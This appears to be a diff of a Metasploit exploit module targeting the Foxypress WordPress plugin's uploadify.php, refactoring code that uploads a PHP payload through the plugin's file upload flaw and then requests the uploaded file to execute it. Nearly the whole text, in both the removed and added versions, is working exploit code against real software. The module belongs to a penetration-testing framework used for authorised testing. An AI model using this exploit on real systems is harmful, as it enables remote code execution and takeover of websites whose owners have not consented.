8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpClient
11
+ include Msf ::HTTP ::Wordpress
12
+ include Msf ::Exploit ::FileDropper
12
13
13
14
def initialize ( info = { } )
14
- super ( update_info ( info ,
15
+ super ( update_info (
16
+ info ,
15
17
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution' ,
16
- 'Description' => %q{
18
+ 'Description' => %q(
17
19
This module exploits an arbitrary PHP code execution flaw in the WordPress
18
20
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
19
21
file upload and remote code execution via the uploadify.php script. The Foxypress
20
- plug-in versions 0.4.2 .1 and below are vulnerable.
21
- } ,
22
+ plug-in versions 0.4.1 .1 to 0.4.2.1 are vulnerable.
23
+ ) ,
22
24
'Author' =>
23
25
[
24
26
'Sammy FORGIT' , # Vulnerability Discovery, PoC
@@ -27,79 +29,56 @@ def initialize(info = {})
27
29
'License' => MSF_LICENSE ,
28
30
'References' =>
29
31
[
30
- [ ' EDB' , ' 18991' ] ,
31
- [ ' OSVDB' , ' 82652' ] ,
32
- [ ' BID' , ' 53805' ] ,
32
+ %w( EDB 18991 ) ,
33
+ %w( OSVDB 82652 ) ,
34
+ %w( BID 53805 )
33
35
] ,
34
36
'Privileged' => false ,
35
- 'Payload' =>
36
- {
37
- 'Compat' =>
38
- {
39
- 'ConnectionType' => 'find' ,
40
- } ,
41
- } ,
42
37
'Platform' => 'php' ,
43
38
'Arch' => ARCH_PHP ,
44
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
39
+ 'Targets' => [ [ 'Foxypress 0.4.1.1 - 0.4.2.1' , { } ] ] ,
45
40
'DisclosureDate' => 'Jun 05 2012' ,
46
41
'DefaultTarget' => 0 ) )
47
-
48
- register_options (
49
- [
50
- OptString . new ( 'TARGETURI' , [ true , "The full URI path to WordPress" , "/" ] ) ,
51
- ] , self . class )
52
42
end
53
43
54
44
def check
55
- uri = target_uri . path
56
-
57
- res = send_request_cgi ( {
45
+ res = send_request_cgi (
58
46
'method' => 'GET' ,
59
- 'uri' => normalize_uri ( uri , "wp-content/plugins/ foxypress/ uploadify/ uploadify.php" )
60
- } )
47
+ 'uri' => normalize_uri ( wordpress_url_plugins , ' foxypress' , ' uploadify' , ' uploadify.php' )
48
+ )
61
49
62
- if res and res . code == 200
63
- return Exploit ::CheckCode ::Detected
64
- else
65
- return Exploit ::CheckCode ::Safe
66
- end
50
+ return Exploit ::CheckCode ::Detected if res && res . code == 200
51
+
52
+ Exploit ::CheckCode ::Safe
67
53
end
68
54
69
55
def exploit
70
-
71
- uri = normalize_uri ( target_uri . path )
72
- uri << '/' if uri [ -1 , 1 ] != '/'
73
-
74
- peer = "#{ rhost } :#{ rport } "
75
-
76
56
post_data = Rex ::MIME ::Message . new
77
- post_data . add_part ( "<?php #{ payload . encoded } ?>" , " application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ rand_text_alphanumeric ( 6 ) } .php\" " )
57
+ post_data . add_part ( "<?php #{ payload . encoded } ?>" , ' application/octet-stream' , nil , "form-data; name=\" Filedata\" ; filename=\" #{ rand_text_alphanumeric ( 6 ) } .php\" " )
78
58
79
59
print_status ( "#{ peer } - Sending PHP payload" )
80
60
81
- res = send_request_cgi ( {
61
+ res = send_request_cgi (
82
62
'method' => 'POST' ,
83
- 'uri' => normalize_uri ( uri , "wp-content/plugins/ foxypress/ uploadify/ uploadify.php" ) ,
84
- 'ctype' => ' multipart/form-data; boundary=' + post_data . bound ,
63
+ 'uri' => normalize_uri ( wordpress_url_plugins , ' foxypress' , ' uploadify' , ' uploadify.php' ) ,
64
+ 'ctype' => " multipart/form-data; boundary=#{ post_data . bound } " ,
85
65
'data' => post_data . to_s
86
- } )
66
+ )
87
67
88
- if not res or res . code != 200 or res . body !~ /\{ \" raw_file_name\" \: \" (\w +)\" \, /
68
+ if res . nil? || res . code != 200 || res . body !~ /\{ \" raw_file_name\" \: \" (\w +)\" \, /
89
69
print_error ( "#{ peer } - File wasn't uploaded, aborting!" )
90
70
return
91
71
end
92
72
93
- print_good ( "#{ peer } - Our payload is at: #{ $1} .php! Calling payload..." )
94
- res = send_request_cgi ( {
95
- 'method' => 'GET' ,
96
- 'uri' => normalize_uri ( uri , "wp-content/affiliate_images" , "#{ $1} .php" )
97
- } )
73
+ filename = "#{ Regexp . last_match [ 1 ] } .php"
98
74
99
- if res and res . code != 200
100
- print_error ( "#{ peer } - Server returned #{ res . code . to_s } " )
101
- end
75
+ print_good ( "#{ peer } - Our payload is at: #{ filename } . Calling payload..." )
76
+ register_files_for_cleanup ( filename )
77
+ res = send_request_cgi (
78
+ 'method' => 'GET' ,
79
+ 'uri' => normalize_uri ( wordpress_url_wp_content , 'affiliate_images' , filename )
80
+ )
102
81
82
+ print_error ( "#{ peer } - Server returned #{ res . code } " ) if res && res . code != 200
103
83
end
104
-
105
84
end
0 commit comments